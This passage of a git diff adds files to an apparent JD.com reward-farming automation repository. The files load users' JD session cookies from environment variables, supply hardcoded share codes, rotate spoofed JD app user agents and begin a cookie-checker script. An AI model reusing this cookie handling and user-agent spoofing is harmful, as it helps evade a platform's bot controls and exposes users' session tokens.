b/icon/jd5.png differ diff --git a/icon/jd6.png b/icon/jd6.png new file mode 100644 index 0000000..a49b69d Binary files /dev/null and b/icon/jd6.png differ diff --git a/icon/jd7.png b/icon/jd7.png new file mode 100644 index 0000000..d05a36c Binary files /dev/null and b/icon/jd7.png differ diff --git a/icon/jd8.png b/icon/jd8.png new file mode 100644 index 0000000..d763579 Binary files /dev/null and b/icon/jd8.png differ diff --git a/icon/jd_moneyTree.png b/icon/jd_moneyTree.png new file mode 100644 index 0000000..69024fa Binary files /dev/null and b/icon/jd_moneyTree.png differ diff --git a/icon/jd_pet.png b/icon/jd_pet.png new file mode 100644 index 0000000..bb231e4 Binary files /dev/null and b/icon/jd_pet.png differ diff --git a/icon/qh1.png b/icon/qh1.png new file mode 100644 index 0000000..56bc389 Binary files /dev/null and b/icon/qh1.png differ diff --git a/icon/qh2.png b/icon/qh2.png new file mode 100644 index 0000000..1f337ad Binary files /dev/null and b/icon/qh2.png differ diff --git a/icon/qh3.png b/icon/qh3.png new file mode 100644 index 0000000..d0b63d1 Binary files /dev/null and b/icon/qh3.png differ diff --git a/icon/txy.png b/icon/txy.png new file mode 100644 index 0000000..2c58d39 Binary files /dev/null and b/icon/txy.png differ diff --git a/jdCookie.js b/jdCookie.js new file mode 100644 index 0000000..28631e1 --- /dev/null +++ b/jdCookie.js @@ -0,0 +1,101 @@ +/* +================================================================================ +魔改自 https://github.com/shufflewzc/faker2/blob/main/jdCookie.js +修改内容:与task_before.sh配合,由task_before.sh设置要设置要做互助的活动的 ShareCodeConfigName 和 ShareCodeEnvName 环境变量, + 然后在这里实际解析/ql/log/.ShareCode中该活动对应的配置信息(由code.sh生成和维护),注入到nodejs的环境变量中 +修改原因:原先的task_before.sh直接将互助信息注入到shell的env中,在ck超过45以上时,互助码环境变量过大会导致调用一些系统命令 + (如date/cat)时报 Argument list too long,而在node中修改环境变量不会受这个限制,也不会影响外部shell环境,确保脚本可以正常运行 +魔改作者:风之凌殇 +================================================================================ + +此文件为Node.js专用。其他用户请忽略 + */ +//此处填写京东账号cookie。 +let CookieJDs = [ +] +// 判断环境变量里面是否有京东ck +if (process.env.JD_COOKIE) { + if (process.env.JD_COOKIE.indexOf('&') > -1) { + CookieJDs = process.env.JD_COOKIE.split('&'); + } else if (process.env.JD_COOKIE.indexOf('\n') > -1) { + CookieJDs = process.env.JD_COOKIE.split('\n'); + } else { + CookieJDs = [process.env.JD_COOKIE]; + } +} +if (JSON.stringify(process.env).indexOf('GITHUB')>-1) { + console.log(`请勿使用github action运行此脚本,无论你是从你自己的私库还是其他哪里拉取的源代码,都会导致我被封号\n`); + !(async () => { + await require('./sendNotify').sendNotify('提醒', `请勿使用github action、滥用github资源会封我仓库以及账号`) + await process.exit(0); + })() +} +CookieJDs = [...new Set(CookieJDs.filter(item => !!item))] +console.log(`\n====================共${CookieJDs.length}个京东账号Cookie=========\n`); +console.log(`==================脚本执行- 北京时间(UTC+8):${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false}).replace(' 24:',' 00:')}=====================\n`) +if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +for (let i = 0; i < CookieJDs.length; i++) { + if (!CookieJDs[i].match(/pt_pin=(.+?);/) || !CookieJDs[i].match(/pt_key=(.+?);/)) console.log(`\n提示:京东cookie 【${CookieJDs[i]}】填写不规范,可能会影响部分脚本正常使用。正确格式为: pt_key=xxx;pt_pin=xxx;(分号;不可少)\n`); + const index = (i + 1 === 1) ? '' : (i + 1); + exports['CookieJD' + index] = CookieJDs[i].trim(); +} + +// 以下为注入互助码环境变量(仅nodejs内起效)的代码 +function SetShareCodesEnv(nameConfig = "", envName = "") { + let rawCodeConfig = {} + + // 读取互助码 + shareCodeLogPath = `${process.env.QL_DIR}/log/.ShareCode/${nameConfig}.log` + let fs = require('fs') + if (fs.existsSync(shareCodeLogPath)) { + // 因为faker2目前没有自带ini,改用已有的dotenv来解析 + // // 利用ini模块读取原始互助码和互助组信息 + // let ini = require('ini') + // rawCodeConfig = ini.parse(fs.readFileSync(shareCodeLogPath, 'utf-8')) + + // 使用env模块 + require('dotenv').config({path: shareCodeLogPath}) + rawCodeConfig = process.env + } + + // 解析每个用户的互助码 + codes = {} + Object.keys(rawCodeConfig).forEach(function (key) { + if (key.startsWith(`My${nameConfig}`)) { + codes[key] = rawCodeConfig[key] + } + }); + + // 解析每个用户要帮助的互助码组,将用户实际的互助码填充进去 + let helpOtherCodes = {} + Object.keys(rawCodeConfig).forEach(function (key) { + if (key.startsWith(`ForOther${nameConfig}`)) { + helpCode = rawCodeConfig[key] + for (const [codeEnv, codeVal] of Object.entries(codes)) { + helpCode = helpCode.replace("${" + codeEnv + "}", codeVal) + } + + helpOtherCodes[key] = helpCode + } + }); + + // 按顺序用&拼凑到一起,并放入环境变量,供目标脚本使用 + let shareCodes = [] + let totalCodeCount = Object.keys(helpOtherCodes).length + for (let idx = 1; idx <= totalCodeCount; idx++) { + shareCodes.push(helpOtherCodes[`ForOther${nameConfig}${idx}`]) + } + let shareCodesStr = shareCodes.join('&') + process.env[envName] = shareCodesStr + + console.info(`【风之凌殇】 友情提示:为避免ck超过45以上时,互助码环境变量过大而导致调用一些系统命令(如date/cat)时报 Argument list too long,改为在nodejs中设置 ${nameConfig} 的 互助码环境变量 ${envName},共计 ${totalCodeCount} 组互助码,总大小为 ${shareCodesStr.length}`) +} + +// 若在task_before.sh 中设置了要设置互助码环境变量的活动名称和环境变量名称信息,则在nodejs中处理,供活动使用 +let nameConfig = process.env.ShareCodeConfigName +let envName = process.env.ShareCodeEnvName +if (nameConfig && envName) { + SetShareCodesEnv(nameConfig, envName) +} else { + console.debug(`OKYYDS 友情提示:您的脚本正常运行中`) +} \ No newline at end of file diff --git a/jdDreamFactoryShareCodes.js b/jdDreamFactoryShareCodes.js new file mode 100644 index 0000000..7f0bc1b --- /dev/null +++ b/jdDreamFactoryShareCodes.js @@ -0,0 +1,37 @@ +/* +京喜工厂互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let shareCodes = [ + 'V5LkjP4WRyjeCKR9VRwcRX0bBuTz7MEK0-E99EJ7u0k=@Bo-jnVs_m9uBvbRzraXcSA==@-OvElMzqeyeGBWazWYjI1Q==',//账号一的好友shareCode,不同好友中间用@符号隔开 + '-OvElMzqeyeGBWazWYjI1Q==',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.DREAM_FACTORY_SHARE_CODES.length > 0 && !process.env.DREAM_FACTORY_SHARE_CODES) { +// process.env.DREAM_FACTORY_SHARE_CODES = logShareCodes.DREAM_FACTORY_SHARE_CODES.join('&'); +// } + +// 判断环境变量里面是否有京喜工厂互助码 +if (process.env.DREAM_FACTORY_SHARE_CODES) { + if (process.env.DREAM_FACTORY_SHARE_CODES.indexOf('&') > -1) { + console.log(`您的互助码选择的是用&隔开\n`) + shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split('&'); + } else if (process.env.DREAM_FACTORY_SHARE_CODES.indexOf('\n') > -1) { + console.log(`您的互助码选择的是用换行隔开\n`) + shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split('\n'); + } else { + shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split(); + } +} else { + console.log(`由于您环境变量(DREAM_FACTORY_SHARE_CODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < shareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['shareCodes' + index] = shareCodes[i]; +} diff --git a/jdEnv.py b/jdEnv.py new file mode 100644 index 0000000..7cb318a --- /dev/null +++ b/jdEnv.py @@ -0,0 +1,67 @@ +import os +import random +import re + + +def env(key): + return os.environ.get(key) + + +# 宠汪汪 +JD_JOY_REWARD_NAME = 500 # 默认500 +if env("JD_JOY_REWARD_NAME"): + JD_JOY_REWARD_NAME = int(env("JD_JOY_REWARD_NAME")) + +# Cookie +cookies = [] +if env("JD_COOKIE"): + cookies.extend(env("JD_COOKIE").split('&')) + +# UA +USER_AGENTS = [ + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.0.2;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +] +USER_AGENTS = USER_AGENTS[random.randint(0, len(USER_AGENTS) - 1)] + + +def root(): + if 'Options:' in os.popen('sudo -h').read() or re.match(r'[C-Z]:.*', os.getcwd()): + return True + else: + print('珍爱ck,远离docker') + return False diff --git a/jdFactoryShareCodes.js b/jdFactoryShareCodes.js new file mode 100644 index 0000000..c45eb2a --- /dev/null +++ b/jdFactoryShareCodes.js @@ -0,0 +1,37 @@ +/* +东东工厂互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let shareCodes = [ + '',//账号一的好友shareCode,不同好友中间用@符号隔开 + '',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.DDFACTORY_SHARECODES.length > 0 && !process.env.DDFACTORY_SHARECODES) { +// process.env.DDFACTORY_SHARECODES = logShareCodes.DDFACTORY_SHARECODES.join('&'); +// } + +// 判断环境变量里面是否有东东工厂互助码 +if (process.env.DDFACTORY_SHARECODES) { + if (process.env.DDFACTORY_SHARECODES.indexOf('&') > -1) { + console.log(`您的互助码选择的是用&隔开\n`) + shareCodes = process.env.DDFACTORY_SHARECODES.split('&'); + } else if (process.env.DDFACTORY_SHARECODES.indexOf('\n') > -1) { + console.log(`您的互助码选择的是用换行隔开\n`) + shareCodes = process.env.DDFACTORY_SHARECODES.split('\n'); + } else { + shareCodes = process.env.DDFACTORY_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量(DDFACTORY_SHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < shareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['shareCodes' + index] = shareCodes[i]; +} \ No newline at end of file diff --git a/jdFruitShareCodes.js b/jdFruitShareCodes.js new file mode 100644 index 0000000..d07188d --- /dev/null +++ b/jdFruitShareCodes.js @@ -0,0 +1,37 @@ +/* +东东农场互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写京东东农场的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let FruitShareCodes = [ + '0a74407df5df4fa99672a037eec61f7e@dbb21614667246fabcfd9685b6f448f3@6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6@56db8e7bc5874668ba7d5195230d067a',//账号一的好友shareCode,不同好友中间用@符号隔开 + '6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6@9c52670d52ad4e1a812f894563c746ea@8175509d82504e96828afc8b1bbb9cb3',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.FRUITSHARECODES.length > 0 && !process.env.FRUITSHARECODES) { +// process.env.FRUITSHARECODES = logShareCodes.FRUITSHARECODES.join('&'); +// } + +// 判断github action里面是否有东东农场互助码 +if (process.env.FRUITSHARECODES) { + if (process.env.FRUITSHARECODES.indexOf('&') > -1) { + console.log(`您的东东农场互助码选择的是用&隔开\n`) + FruitShareCodes = process.env.FRUITSHARECODES.split('&'); + } else if (process.env.FRUITSHARECODES.indexOf('\n') > -1) { + console.log(`您的东东农场互助码选择的是用换行隔开\n`) + FruitShareCodes = process.env.FRUITSHARECODES.split('\n'); + } else { + FruitShareCodes = process.env.FRUITSHARECODES.split(); + } +} else { + console.log(`由于您环境变量(FRUITSHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < FruitShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['FruitShareCode' + index] = FruitShareCodes[i]; +} diff --git a/jdJxncShareCodes.js b/jdJxncShareCodes.js new file mode 100644 index 0000000..8c8a25f --- /dev/null +++ b/jdJxncShareCodes.js @@ -0,0 +1,37 @@ +/* +京喜农场助力码 +此助力码要求种子 active 相同才能助力,多个账号的话可以种植同样的种子,如果种子不同的话,会自动跳过使用云端助力 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写京京喜农场的好友码。 +// 同一个京东账号的好友助力码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 每个账号 shareCdoe 是一个 json,示例如下 +// {"smp":"22bdadsfaadsfadse8a","active":"jdnc_1_btorange210113_2","joinnum":"1"} +let JxncShareCodes = [ + '',//账号一的好友shareCode,不同好友中间用@符号隔开 + '',//账号二的好友shareCode,不同好友中间用@符号隔开 +] +// 判断github action里面是否有京喜农场助力码 +if (process.env.JXNC_SHARECODES) { + if (process.env.JXNC_SHARECODES.indexOf('&') > -1) { + console.log(`您的京喜农场助力码选择的是用&隔开\n`) + JxncShareCodes = process.env.JXNC_SHARECODES.split('&'); + } else if (process.env.JXNC_SHARECODES.indexOf('\n') > -1) { + console.log(`您的京喜农场助力码选择的是用换行隔开\n`) + JxncShareCodes = process.env.JXNC_SHARECODES.split('\n'); + } else { + JxncShareCodes = process.env.JXNC_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量里面(JXNC_SHARECODES)未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +JxncShareCodes = JxncShareCodes.filter(item => !!item); +for (let i = 0; i < JxncShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['JxncShareCode' + index] = JxncShareCodes[i]; +} diff --git a/jdPetShareCodes.js b/jdPetShareCodes.js new file mode 100644 index 0000000..a7c4422 --- /dev/null +++ b/jdPetShareCodes.js @@ -0,0 +1,37 @@ +/* +东东萌宠互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let PetShareCodes = [ + 'MTAxODc2NTEzNTAwMDAwMDAwMjg3MDg2MA==@MTAxODc2NTEzMzAwMDAwMDAyNzUwMDA4MQ==@MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODc2NTEzNDAwMDAwMDAzMDI2MDI4MQ==',//账号一的好友shareCode,不同好友中间用@符号隔开 + 'MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODcxOTI2NTAwMDAwMDAyNjA4ODQyMQ==@MTAxODc2NTEzOTAwMDAwMDAyNzE2MDY2NQ==',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.PETSHARECODES.length > 0 && !process.env.PETSHARECODES) { +// process.env.PETSHARECODES = logShareCodes.PETSHARECODES.join('&'); +// } + +// 判断github action里面是否有东东萌宠互助码 +if (process.env.PETSHARECODES) { + if (process.env.PETSHARECODES.indexOf('&') > -1) { + console.log(`您的东东萌宠互助码选择的是用&隔开\n`) + PetShareCodes = process.env.PETSHARECODES.split('&'); + } else if (process.env.PETSHARECODES.indexOf('\n') > -1) { + console.log(`您的东东萌宠互助码选择的是用换行隔开\n`) + PetShareCodes = process.env.PETSHARECODES.split('\n'); + } else { + PetShareCodes = process.env.PETSHARECODES.split(); + } +} else { + console.log(`由于您环境变量(PETSHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < PetShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['PetShareCode' + index] = PetShareCodes[i]; +} \ No newline at end of file diff --git a/jdPlantBeanShareCodes.js b/jdPlantBeanShareCodes.js new file mode 100644 index 0000000..fff431b --- /dev/null +++ b/jdPlantBeanShareCodes.js @@ -0,0 +1,37 @@ +/* +京东种豆得豆互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let PlantBeanShareCodes = [ + '66j4yt3ebl5ierjljoszp7e4izzbzaqhi5k2unz2afwlyqsgnasq@olmijoxgmjutyrsovl2xalt2tbtfmg6sqldcb3q@e7lhibzb3zek27amgsvywffxx7hxgtzstrk2lba@olmijoxgmjutyx55upqaqxrblt7f3h26dgj2riy',//账号一的好友shareCode,不同好友中间用@符号隔开 + 'mlrdw3aw26j3wgzjipsxgonaoyr2evrdsifsziy@mlrdw3aw26j3wgzjipsxgonaoyr2evrdsifsziy',//账号二的好友shareCode,不同好友中间用@符号隔开 +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.PLANT_BEAN_SHARECODES.length > 0 && !process.env.PLANT_BEAN_SHARECODES) { +// process.env.PLANT_BEAN_SHARECODES = logShareCodes.PLANT_BEAN_SHARECODES.join('&'); +// } + +// 判断github action里面是否有种豆得豆互助码 +if (process.env.PLANT_BEAN_SHARECODES) { + if (process.env.PLANT_BEAN_SHARECODES.indexOf('&') > -1) { + console.log(`您的种豆互助码选择的是用&隔开\n`) + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split('&'); + } else if (process.env.PLANT_BEAN_SHARECODES.indexOf('\n') > -1) { + console.log(`您的种豆互助码选择的是用换行隔开\n`) + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split('\n'); + } else { + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量(PLANT_BEAN_SHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < PlantBeanShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['PlantBeanShareCodes' + index] = PlantBeanShareCodes[i]; +} diff --git a/jd_CheckCK.js b/jd_CheckCK.js new file mode 100644 index 0000000..aabdd17 --- /dev/null +++ b/jd_CheckCK.js @@ -0,0 +1,975 @@ +/* +cron "30 * * * *" jd_CheckCK.js, tag:京东CK检测by-ccwav + */ +//详细说明参考 https://github.com/ccwav/QLScript2. +const $ = new Env('京东CK检测'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const got = require('got'); +const { + getEnvs, + getEnvById, + DisableCk, + EnableCk, + getstatus +} = require('./ql'); +const api = got.extend({ + retry: { + limit: 0 + }, + responseType: 'json', + }); + +let ShowSuccess = "false", +CKAlwaysNotify = "false", +CKAutoEnable = "true", +NoWarnError = "false"; + +let MessageUserGp2 = ""; +let MessageUserGp3 = ""; +let MessageUserGp4 = ""; + +let MessageGp2 = ""; +let MessageGp3 = ""; +let MessageGp4 = ""; +let MessageAll = ""; + +let userIndex2 = -1; +let userIndex3 = -1; +let userIndex4 = -1; + +let IndexGp2 = 0; +let IndexGp3 = 0; +let IndexGp4 = 0; +let IndexAll = 0; + +let TempErrorMessage = '', +TempSuccessMessage = '', +TempDisableMessage = '', +TempEnableMessage = '', +TempOErrorMessage = ''; + +let allMessage = '', 